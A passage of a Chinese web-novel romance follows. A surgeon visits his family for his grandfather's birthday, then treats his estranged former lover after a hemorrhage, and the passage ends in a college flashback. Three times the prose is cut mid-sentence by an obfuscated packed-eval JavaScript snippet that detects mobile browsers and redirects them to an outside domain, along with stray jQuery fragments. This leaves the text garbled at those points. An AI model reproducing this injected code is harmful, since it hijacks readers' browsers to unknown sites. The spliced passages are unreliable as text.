其实最初的时候韩翊行对睡眠环境没那么高的要求,真正困的时候,无论是旁边吵,还是天光大亮或者开着灯,他都能睡得着。 但是言叙不行。 有点光就睡不好。 他们住一起之后,韩翊行还特意换掉了之前的普通窗帘,从网上订制了双层遮光窗帘。 帘子一拉,屋里一丝光都没有,都能当洗照片的那种暗房了。 时间久了,韩翊行对光线的要求也越来越苛刻了。 凌晨4点多落地,韩翊行打车回家,到家的时候6点多,爸爸妈妈刚好起床。 一见到韩翊行,妈妈俞晓红立马迎上前,仔细打量着比她高出一个头的儿子。 “阿行,又瘦了,工作是不是很累啊?” 韩翊行抱了抱妈妈,“不累,一点都不累。” 一旁的爸爸韩兴国开了口:“当医生哪有不累的,不累那是好医生吗?” 妈妈才不管什么医品医德,她只是心疼自己的儿子。 “你外公的公司,今年股价又涨了不少,我再多给你转让一些?” “妈,不用,我钱够花。”韩翊行说。 当医生的,没有那些灰色收入,虽说是高薪行业,但毕竟收入是固定的,在办企业的人眼中就是穷人。 “当年非要去宁城,要是留在北城多好,妈想见你了,还能随时去看看你。” 说到当年的决定,韩兴国对韩翊行当年固执的决定仍是颇有微词。 韩兴国挖苦道:“北城一院配不上你家这天之骄子。” 当年北城一院的心外科是韩兴国带队,韩翊行之前对心外也有浓厚的兴趣,毕业论文也是心外相关的。 韩兴国一心想着让韩翊行子承父业,成为北城一院心外的一刀,可韩翊行当年硬是孤身一人跑到宁城。 宁城三院虽也是三甲,但心外科已经满员,韩翊行宁愿留在肛肠外科,也不回北城一院。 这事把韩兴国气得不轻,他花了无数时间和精力培养出来的未来心外一刀,跑到两千多公里外给人割痔疮去了。 都是陈疴旧疾,韩翊行也指望见一次面就能解决掉。 他笑着说:“我最近研究的那个癌细胞自体反噬技术,如果成功了,将来的应用领域会非常广泛。” 韩兴国冷哼一声,“跟我说说进展到哪一步了。” ...... 韩翊行的爷爷是一位老中医,八十岁了依旧容光满面。 一见到韩兴国,也是阴阳了两句。 “韩大院长怎么有空光临寒舍,蓬荜生辉啊。” 韩爷爷退休前是市中医院的院长,当年想让韩兴国继承他的衣钵,学中医。 可是韩兴国坚持选了西医。 虽然不听老人言,但在心脏外科也是颇有建树的,韩老爷子没什么好说的,可惜了他积累了大半辈子的中医知识要外传了,只能逮着机会就阴阳两句。 他们家的叛逆基因是一脉相承的。 今天来给老爷子祝寿的,除了儿女子孙,还有老爷子的学生们,如今也是中医院的领导。 老爷子的两个儿子忙着招呼客人,韩翊行没什么事,敲亮手机屏幕看了眼,坐在桌边等开席。 堂哥韩骋来了,站韩翊行旁边,不说话,意味不明地打量着他。 韩翊行被他看得浑身发毛:“这位警官,请问你是把我当成你的嫌疑人了吗?” 韩骋手指扫了下鼻尖,大马金刀地坐下,给自己倒了杯茶水。 韩骋是个不修边幅的,来参加寿宴,就穿了个局里发的反诈宣传的冲锋衣,背后印着巨大的反诈热线“96110”。 “有情况。”韩骋笃定地说。 韩翊行嗤了声:“有什么情况?” 韩骋说:“昨天我去宁城市局串门,听到那里的外勤女警在讨论你。” “讨论我什么?” “说韩老师今天本该休假的,却又来上班,来上班又什么都不干。” 韩翊行有些无奈地叹了口气。 “你在等一个人。”见韩翊行不说话,韩骋继续说,“你等的人没来。” 韩翊行靠在椅背上,抬头看天花板。 “这个人对你来说很重要。” 韩翊行笑了笑:“行了,收起你的职业病。” “那他后来来了没有啊?” 韩翊行说:“没有。” “哈,被我诈出来了吧!”韩骋兴奋地说,“看来我之前的推理都是正确的。” 说话间,开始上菜了。 这桌菜也不知道是谁点的,相当有水平,又有中式炒菜、疙瘩汤,又有西式牛排,奶油蘑菇汤。 有筷又有勺,有叉又有刀。 韩骋拿筷子夹了块牛排,咬了一大口,含混不清地说:“饿死我了,早饭都没吃。” 吃了几口有些噎,于是自己开了瓶红酒,随便拿个茶碗倒上了,咕嘟咕嘟两口干了。 韩翊行右边是韩骋,左边是姑姑家的小表弟,光顾着玩手机。 韩骋的妈妈,也就是韩翊行的大伯母,问:“宸宸呀,你上高几了?” 陈宸说:“大舅妈,我去年就大学都毕业了。” 大伯母惊奇道:“大学都毕业啦?那现在做什么工作呢?一个月挣多少钱呀。” 陈宸无声地翻个白眼,他妈妈赶紧接茬:“没工作,考研呢。” 大伯母说:“考两年还没考上呢?” 陈宸受不了了,说:“我刚才听大表哥说二表哥有情况了,我是不是快有表嫂了?” 火力转移,目光都齐刷刷投过来,给韩翊行来了个猝不及防。 韩骋嘿嘿笑,拍着韩翊行的肩膀说:“阿行,坦白从宽啊。” 韩翊行无奈地拿出手机:“韩警官,让我看看你背后那个反诈热线是多少来着?这里有人诈骗。” 桌上几人哈哈大笑。 陈宸笑不出来,他就是个学渣,不想工作,想靠考研逃避现实,无奈考了两年也没考上。 陈宸拽了拽韩翊行:“二表哥,你都是怎么学的啊,我怎么就是学不会呢?我什么时候才能上岸啊?” 韩翊行是他们这一辈里的“别人家的孩子”,从小学习成绩好,小学到高中跳了四级,高考的时候是市里的状元。 见陈宸苦着一张脸,韩翊行记着他刚才拉自己当挡箭牌的仇,便用只有左右能听到的声音说:“恐怕等到你大表哥下海了,你也上不了岸。” 一石二鸟。 韩骋“嘿”一声,胳膊勒住韩翊行的脖子,陈宸在一旁起哄:“大表哥,收拾他!” 几个人闹来闹去差点撞翻桌子,姑姑说:“都多大人了还在这闹。” 韩骋这才收了手,笑着坐回自己的位置上。 “阿骋啊,你们工作忙不忙啊。”他们俩的姑姑问。 韩骋说:“嗨,就那样。” “你啊,当年上学的时候天天打架,可把你爸妈愁坏了,谁能想到,长大后这么出息,都当警察了。” 陈宸补了一句:“现在都是刑警队队长了。” “是吗?那可真是厉害了。不过,干你们这行很危险吧?” 韩骋看了眼自己的亲妈,笑得混不吝,“不危险,可安全了。” 姑姑不信:“我可听说,前些天你们那边有个警察被□□打死了。” 韩骋的脸色瞬间变了,但也只有几秒,他又换上那个痞痞的笑容:“法制社会,哪来的□□,别信。” 韩翊行没吃多少,不时看两眼手机。 陈宸打趣道:“二表哥,你这一万多的手机也接不到想接的电话啊。” 韩翊行“啧”了一声:“吃你的。” 这时,韩翊行的手机响了一下,是微信消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305473|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息。 陈宸起哄:“哟——哟——” 韩翊行懒得理他,打开新消息。 护士长:【韩大夫,这是你要的今天挂咱们科门诊号的所有患者名单。】 下边是一个excel文档。 韩翊行打开文档,从上到下看了一遍,没有找到言叙的名字。 他关掉文档,按熄屏幕。 姑姑问:“阿行,你什么时候回去?” 韩翊行说:“我今天晚上8点的飞机。” 姑姑说:“怎么不明天跟小骋一起回去。” 韩骋说:“我也今天晚上8点走。” 韩骋妈妈惊奇道:“你不是订的明天的机票?” 韩骋说:“我刚改了。” 韩翊行能明显感觉到韩骋的低气压,他没多问。 回程的飞机上,人不多,韩翊行和韩骋挨着。 韩翊行斟酌半晌,问:“那个牺牲的警察......是你们局的吧?” 韩翊行记得当时有从南方来的病人,私下里讨论这件事。 这事当时并没有见报。 韩骋顿了几秒:“才25岁,在我手底下干了三年。抓捕犯罪嫌疑人的时候,他冲在最前面,被躲在门后的暴徒从背后捅了三刀,当场人就没了。” 韩翊行发现韩骋面色阴沉得可怕,拳头握得死紧,手背上的青筋暴起。 他不知道说什么,偌大的城市,表面上一片繁华,欣欣向荣,可谁知道平静的表象正面,藏着多少不为人知的龌龊与黑暗。 “最后嫌疑人被抓住了,但也只是那个团伙里的小喽啰,真正的大鱼,藏得还很深。” 半晌,韩骋看着外边的云层,说道:“他把人给侵犯了,还能把受害人送进监狱,你说这是什么世道。” 他虽然是警察,但很多事情,仅凭他的力量,还是无能为力。 - 第二十三天,上班第一件事,韩翊行先看了下今天科室所有门诊挂号的名单。 不出意外地,言叙的名字还是没有出现在列表中。 查完房,韩翊行正准备回办公室,就接到了急诊的电话。 “韩医生!急诊这边有个病人大出血导致休克,你快过来看一下吧!” 挂了电话,韩翊行急急忙忙来到一楼急救中心。 看清躺在可移动担架上那个人的脸之后,韩翊行足足僵了三秒,大脑一片空白,腿都发软。 言叙闭着眼睛,表情很平静,脸色惨白如纸,唇上一丝血色都没有。 胸口的起伏很微弱。 裤子被鲜血浸湿,血腥味充斥混乱的房间。 “检测不到心跳!”一名急诊医生焦急道。 韩翊行乍然回神,箭步冲上前去,“让我来!” 他从那名医生手中接过监测心率的贴片,换了个位置,监测仪器屏幕上终于出现规律的心跳起伏。 众人都松了一口气。 韩翊行迫使自己镇定下来,给言叙做检查。 痔疮破裂导致的大出血。 他迅速寻找出血点,紧急止血,输血。 寒冬腊月,他出了满头的汗。 忙完一切,韩翊行才注意到,言叙胸前裸露的皮肤上,有一道道交错的陈年旧伤,像是鞭痕。 七年前他们还在一起的时候,言叙身上是绝对没有这些伤痕的,他敢断言。 这七年,究竟发生了什么? 这时,言叙睫毛颤了颤,眼睛睁开一道小缝。 韩翊行望着他,没有说话。 言叙似乎看见了他,费力地抬抬嘴角扯出一个微笑,干裂的嘴唇微微张了张,气若游丝地吐出两个字: “学长......” 韩翊行感觉自己的心脏被击中,软成一瘫泥。 这一刻,他想,无论之前言叙做过任何对不起他、伤害过他的事情,只要他能好好活着,他全都原谅他。 5. 第5章 言叙昏昏沉沉地睡了过去,刚才那一句“学长”,仿佛只是沉睡中的一句梦呓。 护士走过来,轻声对韩翊行说:“韩大夫,病人一直昏迷,没办法和家属取得联系。” 韩翊行目光一直落在言叙苍白的脸颊上:“谁送他过来的?” 护士指了指旁边:“那位大哥叫的救护车,费用也是他垫付的,他还在等病人家属来了还钱呢。” “知道了,”韩翊行说,“你先忙吧。” 韩翊行走到那个留着络腮胡子的男人身边。 大哥伸着脖子往言叙这边瞧了瞧,问道:“医生,他没事吧?” 韩翊行说:“多亏了您及时把他送过来,谢谢。” 大哥有些不好意思地说:“医生,你看我这算不算见义勇为啊?能申请积分落户加分不?” 韩翊行说:“这我不是很清楚,您能跟我说一下当时是什么情况吗?” “矮马,可把我吓完咧,”大哥拍着胸口,似乎还是心有余悸。 “当时他走我前边,我看他裤子上有一大片血,我寻思,这男人咋还来大姨妈?正好我包里有给我老婆准备的卫生巾,我就递给他,谁知道他那脸刷白刷白的,给我吓一大跳,我说兄弟你没事吧,结果他pia叽摔地上了,我就赶紧叫了救护车。” “我这不是乐于助银吗?那小伙子昏迷着,救护车的费用还是我掏的。500块钱啊,我一个月的生活费给我干没了,得亏给我开了个发票,要不然回家我老婆还得跟我吵吵巴火滴。” 韩翊行从大哥的闲言赘语挑拣出重点:言叙拖着不做手术,结果走在路上痔疮破裂大出血导致休克。 “救护车的钱我转给您吧。”韩翊行掏出手机,打开微信扫一扫。 “那太感谢您了!付费上班,中国好医生啊!”说着,大哥调出自己的收款码。 韩翊行给他扫了一千,又道了遍谢,那大哥竖着大拇指:“仗义!敞亮儿!嘎嘎优秀!” 言叙在输完血输完营养液之后醒过来了,身体很虚弱。 睁开眼睛,发现自己躺在病房里,白墙白地板,被子也是白色的。 病房里有三张病床,他躺的是最里边靠窗的这一张。 他旁边躺着个白发苍苍的老奶奶,此刻背对着他侧躺着。 靠门的那一张床上有一个年轻的小伙子,把病床上部调成一个倾斜的弧度,靠在那里。 言叙对自己被抬上救护车有点模模糊糊的印象,后来的事情就记不清了。 手上还输着液,他没法下床。 言叙见旁边的老奶奶侧躺着玩手机,没有在睡觉,便轻声问:“奶奶,请问下这里是哪个医院?” 老奶奶“嗖”一下翻了个身,朝言叙眨眨眼:“奶奶?你在叫我?” 言叙这才看清,这人虽然是一头银发飘飘,但却是一张稚气未脱的男孩脸庞。 靠床休息的那个小伙子憋笑困难,捂着肚子,怕刀口崩开了。 言叙窘得无地自容,赶紧道歉:“对不起啊。” “嗨,没事儿,”男孩浑不在意地朝他摆摆手,“你还给我升辈份儿了,我还占便宜了呢!哈哈。” 言叙尴尬地笑笑。 男孩儿是个自来熟:“我叫杨子轩,今年上大二,你上大几了?” 言叙说:“我已经没上大学了。” “毕业了啊?”杨子轩有点惊讶,“可是你看着也就比我大一两岁,我能叫你哥吗?” 言叙点头:“嗯。” 靠床的那个小伙子朝言叙挥了挥手:“hi,我叫沈暮。” “我叫言叙。” “言叙?”沈暮眉头微微皱了下,似乎在思索什么。 杨子轩惊奇道:“你认识我言哥?” 沈暮摇摇头:“应该不认识,但是我好像听过这个名字,在哪儿呢?” 就在这时,楼道里传来护士的声音:“韩大夫,下手术了?” “嗯,刚刚做完。” 听到这声音,言叙呼吸一窒。 杨子轩立刻从枕头底下拿出一面小镜子,左照照右照照,摸摸头发,搓搓脸,又摸出一瓶香水往自己头上喷。 病房的门被推开,韩翊行的白大褂下摆随着他走路摆动,后面跟着几个实习生。 一进门,韩翊行皱了皱眉,手背贴着鼻子,快步走到窗边把窗户推开,给屋子通风。 韩翊行朝言叙床边走来,言叙紧张地用没输液的那只手抓了抓床单。 还好,韩翊行都没正眼看他,只是看了看输液瓶里的余量,又低头在自己本子上写着什么。 边写边问:“头晕吗?” 言叙咬咬唇:“没有。” “有没有想吐?” “没有。” 韩翊行点点头:“液输完了按床头的呼叫铃,不要自己拔针。” “韩大夫,”言叙鼓足勇气问道,“输完液我就可以出院吗?” 韩翊行停笔,斜乜了他一眼。 实习生看他那表情神态,感觉下一秒病人就要被他骂个狗血淋头。 没想到韩翊行只是动了动唇,吐出冷冰冰的两个字:“不能。” “那我什么时候......可以出院?”言叙问得小心翼翼,声音越来越小。 对于没有医保的人来说,住院费就是天价开销了,而且,一直住院就没法上班,不上班又没收入。 对打工人来说,无异于天塌了。 “你失血过多,现在身体很虚弱,需要调养两天,然后做手术把痔疮割掉,否则还可能再度破裂,有生命危险。” 韩翊行说完这句话,似乎耗费了极大的耐心。 他一口气说完,便不再理言叙了,转身面向杨子轩。 杨子轩见到韩翊行,声音莫名有点夹:“韩大夫,我的屁股还是有点疼,你能帮我看一下吗?” 韩翊行示意旁边的实习生叶成,“你给他检查一下。” 韩老师终于给他指派任务了! 叶成欢天喜地掀开杨子轩的被子:“朝右边侧躺着,裤子脱一半。” 杨子轩愤愤不平,又不敢说什么,只得照做。 叶成非常认真地检查了一番,向韩翊行报告:“韩老师,创面已经基本恢复了,没有出血,没有发炎。” 韩翊行点点头,在本子上写东西。 杨子轩苦着脸,把裤子拉回去,问道:“韩大夫,可是我有时候还是觉得疼怎么办?” 韩翊行没说话。 叶成调侃他:“下次别用刺猬了,用榴莲就不疼了。” 杨子轩气呼呼的,恨不得扑上去咬他一口。 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305474|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话间,韩翊行已经绕到沈暮床边。 韩翊行温声说:“刀口还疼吗?衣服掀起来我看下。” 杨子轩在一旁愤愤不平,因为他和沈暮住同一病房,每次韩大夫对沈暮都比对他温柔一百倍。 不,一万倍! 言叙也感觉到了,韩翊行对沈暮,与刚才跟他说话时那种冷冰冰的态度,是截然不同的。 韩翊行检查完沈暮的刀口,又问:“晚上想吃什么?让叶成给你买回来。” 沈暮说:“红烧排骨。” 韩翊行说:“红烧排骨不利于消化,排骨汤怎么样?” 沈暮说:“好,谢谢韩大夫。” “好好休息,有什么不舒服随时给我发微信。” “嗯。” 查完房,韩翊行带着实习生往外走。 门被打开,一阵冷风从窗外席卷而来,言叙没忍住打了个喷嚏。 韩翊行刚走出去两步,又折回来,朝言叙的病床走去。 言叙心里打鼓,随着韩翊行一步步靠近,鼓点越来越密集。 可韩翊行目不斜视,径直走到窗边,把窗户关上了。 关完窗,便头也不回地离开病房。 言叙庆幸的同时,心底又漫起一阵苦涩的失落。 他曾经品尝过韩翊行温柔的滋味,只是如今,时过境迁,他已经不配再拥有了。 杨子轩遭到冷遇,心里不平衡,他侧向言叙的方向。 “言哥,咱们都是韩大夫的病人,韩大夫就只对沈暮一个人好,是不是不公平?” 杨子轩毕竟年纪小,世间的事哪有什么公平可言,更何况还是人与人之间的感情。 言叙不知道该怎么回他,便转移了话题。 “我刚才听那个医生说什么刺猬,是怎么回事啊?” 言叙想起他看诊的那天,遇上一个急诊的,听医生说是刺猬钻进了患者的□□。 杨子轩捂着脸,“唉呀,丢死人了。” “那天跟朋友聚餐,喝多了,有个人一直跟我呛呛,后来我们俩就打赌,说看谁敢把刺猬塞进去,不敢塞的是怂蛋。” “结果就是这样了,我不是怂蛋,我是蠢蛋。” 杨子轩捂着脸呜呜呜。 言叙实在忍不住笑出声。 也不知道这帮青春期的孩子脑子里整天在想什么。 沈暮依然靠在床头,面上带着笑,眼神放空,不知道在想什么。 杨子轩这个小孩很有意思,言叙和他聊了几句,完全没有注意的自己的输液瓶即将见底。 病房门突然被推开的时候,房间内的三人都有些诧异,目光齐刷刷投向门口。 只见韩翊行走进来,沉着脸,径直走到言叙床边。 言叙有些愣,一时不知道该说什么好,也不敢动。 韩翊行左手握住他输液的那只手,被冰得微微皱了下眉,随后拇指压住针眼,右手干脆利落地把针头拽出来。 全套动作丝滑,只是一言不发。 言叙冰凉的右手被韩翊行温暖的左手半握着,指尖无意识蜷了蜷。 直到韩翊行没好气地说了句:“自己摁着。” “噢。”言叙赶紧把另一只手伸过来隔着创可贴摁住针眼。 韩翊行没分给言叙一个眼神,阴沉着脸走了出去。 6. 第6章 杨子轩盯着韩翊行的背影消失在门后,不解地道:“韩大夫怎么好像有点儿生气?” 一旁的沈暮说:“好像不只是有点儿,我还没见过韩大夫这个样子。” 杨子轩说:“还有啊,拔针不都是护士的工作吗?我住这么多天院一直都是护士拔针的。” “言哥你惨了,你惹韩大夫生气了。” “啊?”言叙有些摸不着头脑。 杨子轩头头是道地分析:“你看啊,刚才查房,韩大夫说让你液输完了按铃叫护士,可是你忘了,如果没有及时拔针,就可能导致,呃......” 杨子轩打开手机搜了一下,照着念,“可能导致血液回流,细菌感染,针头移位刺破血管等一系列严重的问题。” “这是什么啊?这是医疗事故啊,你想想,你是韩大夫的病人,要是出了医疗事故,韩大夫不得担责任?” 言叙点点头,好像是这么回事。 他险些给韩翊行惹麻烦了。 “不过,我有个疑问,”杨子轩盯着言叙。 “什么疑问?” “那就是,韩大夫那么忙,怎么就关注到护士没及时过来给你拔针呢?” 言叙也想不明白。 他手机响了下,是微信。他刚才给他工作的酒吧老板发了个微信,问能不能预支一部分薪水。 老板给他转过来5000。 言叙回了“谢谢李哥”。 “轩轩,”有人站在门口叫了一声,是个中年妇女,手里拎着个多层保温饭盒,还有一袋子水果。 “琴姨!今天有什么好吃的?” 琴姨走进来,把菜摆到床尾的小桌子上色香味俱全,有汤有菜有饭。 “看看喜不喜欢吃。”琴姨摆完饭菜,又从袋子里拿出个苹果去洗手间洗了,“饭后吃个苹果,润肠的。” 杨子轩摆摆手:“我不能吃苹果。” 琴姨不解:“为什么呀?” 杨子轩说:“你没听说过吗?一天一苹果,医生远离我,我可不想韩大夫远离我。” “你这孩子,”琴姨笑着嗔道,“多吃点菜。” 琴姨送完饭便走了。 不多时,叶成拎着一次性饭盒来了,跑得呼哧带喘的,说了句“韩老师让我给你打的”,把饭递给沈暮就急着走了。 言叙输了一天营养液,不是很饿,也没什么胃口。 但在外人看来,一屋里仨病号,俩都有饭吃,只有他自己可怜兮兮的。 杨子轩说:“言哥,我的菜太多了,吃不完,你帮我吃点吧。” 沈暮也说:“我的菜也有点多,汤有一大碗,咱们仨分着吃吧。” 杨子轩说:“咱们把所有的菜都摆桌子上,一起围着桌子吃,像一家人在家吃饭一样!” 说完,杨子轩下床,把沈暮的菜提到自己桌上摆好。 因为他的床位在最中间,围着桌子吃饭最方便,不会挡门。 由于言叙和杨子轩都不能坐着,所以杨子轩让沈暮坐自己床上盘着腿,他和言叙一左一右站着吃。 杨子轩用保温饭盒带的小汤碗,把沈暮的大份排骨汤分了三碗,一人一碗。 然后端起碗笑着说:“两个哥哥,干杯!” 言叙和沈暮端起碗跟他碰了碰。 三个人穿着一样的病号服,精神状态完全不像病号的样子,倒像是好友聚餐在大碗喝酒。 言叙原以为,杨子轩迷恋韩翊行,但韩翊行对沈暮特别偏爱,杨子轩会因此忌恨排挤沈暮。 是他狭隘了。杨子轩这小孩挺好。 言叙站的位置,是他的床和杨子轩床中间的过道,面向着门。 他不经意一抬眼,发现门口立着一个高大身影,手里拎了饭盒。 目光撞上的一瞬,韩翊行抬腿走了。 来到办公室,张博还在写病例。韩翊行把饭盒放到张博桌上:“给你吃吧。” “哇,谢谢老韩,你怎么知道我还没吃饭呢?”张博打开饭盒,“不过有点清淡啊,像病号吃的,下次给我来点肉。” “白吃你还挑上了。”韩翊行说。 “嘿!你敢骂我白痴!” “吃你的。” 张博大口吃起来。 “下班了吧?你怎么还没走呢?”张博问,“我今天值大夜,要不然我早走了。” “我给你值。”韩翊行说。 张博停下筷子看着他:“你要跟我换班吗?” 韩翊行说:“不用换,我替你值,明天白班我照常上。” 张博想了两秒,了然地笑着说:“那谁住进来了,你也打算住医院里是吧。” 韩翊行没搭他这茬,只是说:“蒸汽眼罩你还有吗?给我几个。” 张博拉开抽屉,取出个小袋子递给韩翊行:“就剩一个了。” 韩翊行接过来,说了声“谢了”。 “嗨,你都给我值大夜了,我就用一个蒸汽眼罩换,怎么算都是我赚了,哈哈。” 这时,韩翊行手机响了,是个陌生号码,上边写着1人标记为广告推销。 韩翊行直接挂断了电话。 不出10秒钟,张博的电话又响起来。 张博自言自语了句“谁呀这是”,接了起来。 扬声器传来高峰愤怒的指责:“老韩为什么挂我电话?” “啊?是你啊,”张博笑着说,“你啥时候换号了?” 高峰说:“办了个流量小号,有免费通话时长,存一下。” 张博说:“一会儿存,找老韩有事?老韩就在我旁边呢。” 高峰说:“我妈寄过来点老家那边的特产,榛子板栗什么的,我给你们拿点过去,你们在办公室吗现在?” “在呢在呢,你过来吧。” 高峰一来,把东西往韩翊行桌上一扔,“你还跟我说老韩接电话强迫症,每个电话都必接,结果呢,我一打就给我挂了。” 张博看了韩翊行一眼,嘿嘿笑:“大概是人家现在不用苦等某人电话了吧。” 韩翊行坐到自己工位上,煞有介事地盯着电脑屏幕,好像那俩人没有在议论他一样。 高峰的八卦之魂熊熊燃烧:“怎么回事,怎么回事?快说说。” “就是他的那个谁,”张博眼神瞟向韩翊行,“住进了他的病房里。” “我靠,他还真是贼心不死啊,老韩,你要小心一点啊!” 韩翊行意味不明地看了高峰一眼,似是欲言又止。 高峰坐张博桌子上,看见他吃的饭:“你怎么吃这么清淡,又没辣菜又没肉菜,准备当和尚呢?” 张博说:“老韩给我的。” “老韩的啊,那就难怪了,老韩吃不了辣。” 共事多年,张博确实没见过韩翊行吃辣,便随口一问:“吃了辣会怎么样?” 吃了辣会怎么样? 韩翊行想起最严重的那一次。 那天韩翊行在大课上给言叙做完B超,言叙走的急,把校园卡落他这了。 下课后,韩翊行根据校园卡上的院系和班级找到言叙宿舍。 韩翊行敲了两下门,开门的正是言叙。 他穿着松垮垮的睡衣,露着明晰深陷的锁骨窝,头发还是湿漉漉的,应该是刚洗完澡没多久。 见到门口的韩翊行,言叙惊喜得眼中闪着亮光,“学长!怎么是你?!” 清新的柑橘调沐浴露的味道迎面扑来,韩翊行有一瞬间的恍惚。 他错开言叙的视线,把校园卡递到言叙面前:“你......你的校园卡丢我那了。” “谢谢学长!”言叙接过校园卡,继续说,“幸亏学长给我送回来了,要不然中午吃不了饭了。” 韩翊行清清嗓子,有些木木地,“不客气。” 言叙把卡片随手放在门后的桌子上,歪头靠在门框上,随意问道:“学长,你是不是换衣服了?” 韩翊行低头看了下自己身上穿的衣服,尴尬微笑以示默认。 言叙由衷夸赞道:“学长,你还挺快。” 从10点半下课,到现在不过才过去20分钟。 言叙从他们上课的阶梯教室走回宿舍都用了20分钟,更何况韩翊行还有空回宿舍换了身衣服。头发似乎也是刚洗过,发根那里还微微有些潮湿。 韩翊行被这样夸有些不自在,他说,“还行。” 静默了几秒,言叙问:“学长,还有别的事吗?” 韩翊行摸了摸后脖颈,有些不好意思,“刚才那个......把你弄脏了,不好意思啊。” “没事的学长,只是有点湿而已,”言叙爽朗道,“还好我穿的是黑裤子,要不然别人还以为我尿裤子了,哈哈哈。” 韩翊行尴尬地笑了两声。 “那个......我请你吃个饭吧。”韩翊行终于说出口。 “哇,那谢谢学长了,”言叙很开心,把韩翊行拉进寝室,“学长你先在这坐一会儿,我换个衣服,两分钟就好。” 韩翊行被言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305475|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叙推到椅子上坐下。 言叙去找衣服,随口问韩翊行:“几点了学长?我们现在去吃饭会不会有点早?” 韩翊行看了下手机:“11点11,走到学校门口也差不多该吃午饭了。” “哇,学长你真幸运。”言叙说。 “嗯?”韩翊行不解。 言叙笑着说:“传说无意中看时间看到的是11:11,就说明有人在想你。” 韩翊行看着言叙,还在思考他这话的意思,猝不及防地,言叙向上一扯睡衣的领子,光.裸的上身便毫无遮挡地出现在韩翊行面前。 男孩身体纤薄,腰细得一只手掐得过来,皮肤白得晃眼。 韩翊行的目光像是被烫到,赶紧移开视线,脸上有些发热。 言叙很快换好了衣服,卫衣休闲裤,清清爽爽的大男孩。冲韩翊行笑的时候,眼睛弯弯的,脸侧还有两个小梨涡。 “走吧学长。”言叙拿起钥匙,钥匙环在手指上转了两圈。韩翊行注意到,钥匙环上有一个柯南挂件。 “想吃什么?”二人并肩走在繁密的梧桐树荫下,言叙比韩翊行矮了小半头,身形了瘦一圈。 言叙说:“听说学校门口新开了一家火锅店,巨麻巨辣,一直想去尝尝还没机会去呢。” 韩翊行望着言叙亮晶晶的眼睛,有些迷失。 “啊,忘了问,学长你能吃辣吗?” “可......可以。”韩翊行点头说。 “哇,那太好了,终于找到一个能吃辣的搭子,我室友他们都不怎么爱吃辣。” “我......很喜欢。” 点锅底的时候,言叙说:“要你们店里那个招牌变态辣!” 服务员问:“需要点鸳鸯锅吗?” 韩翊行说:“不用。” 菜上齐了,锅底漂着厚厚的红油和辣椒皮,咕嘟咕嘟冒出的蒸气让韩翊行眼镜上起了一层白雾。 服务员说:“新店开业,给您二位赠送一份茄盒和小凉菜。” 韩翊行说了“谢谢”,用公筷往锅里下了羊肉和金针菇。 薄薄的羊肉卷下到沸水里就变了颜色,烫十几秒捞出最为鲜美。 韩翊行心里掐着时间,把煮好的羊肉夹到言叙碗里。 言叙笑着说了句“谢谢学长!”,看起来乖乖的,吃起东西来也慢条斯理的,像只小猫咪。 韩翊行夹了个茄盒放到言叙盘子里:“尝尝这个茄盒,刚炸出来好吃。” 言叙抿了抿嘴唇,夹起来咬了一小口,酥酥脆脆的,弯着眼睛对韩翊行说:“好吃!” 韩翊行看着他吃东西,心中莫名升起难以名状的满足感。 “学长,你也吃啊。” 韩翊行夹了个茄盒吃,确实味道还不错,又尝了尝送的小凉菜,也挺爽口的。 他把小凉菜往言叙那边推了推,言叙夹了颗花生米。 吃了几口涮菜,又夹了块凉菜里的胡萝卜。 只有芹菜始终没动。 韩翊行默默记下了,喜欢吃辣,不喜欢吃芹菜,茄盒只吃了一口,应该也不太喜欢吃茄子。 “学长~”韩翊行抬头,见言叙正夹着一筷子肉,送到他碗里,“学长你快吃肉啊,一会儿被我吃完了。” “嗯。”韩翊行看着碗里裹满辣椒皮的羊肉片,憋了口气,一下塞到嘴里,囫囵咽下去,仍是不可避免地呛咳起来。 喝了一大杯凉水才稍稍缓解。 “呛到了是吧?”言叙站在韩翊行身边,给他敲着后背。 韩翊行眼睛里有一层咳出来的生理性泪水,眼睛红红的,“嗯”了一声,心跳得有点快。 那天韩翊行把一盘茄盒吃完了,又把凉菜里的芹菜全都挑着吃了,火锅吃的不多,胃和食道都是火辣辣的。 吃完饭,韩翊行把账结了,两个人往回走。 言叙挠了挠颈侧,问韩翊行:“学长,你是不是不喜欢吃辣?” “没有啊,”韩翊行若无其事地否认,“我今天不太饿。” 胃里不合时宜地传来一阵灼烧般的疼痛,韩翊行出了一脑门汗。 言叙敏锐地察觉到他的反常,紧张问:“学长,你哪里不舒服吗?” 韩翊行满头大汗又浑身发冷,胃部的疼痛让他再也无法维持体面,他用手压着胃,蹲在地上,说不出话。 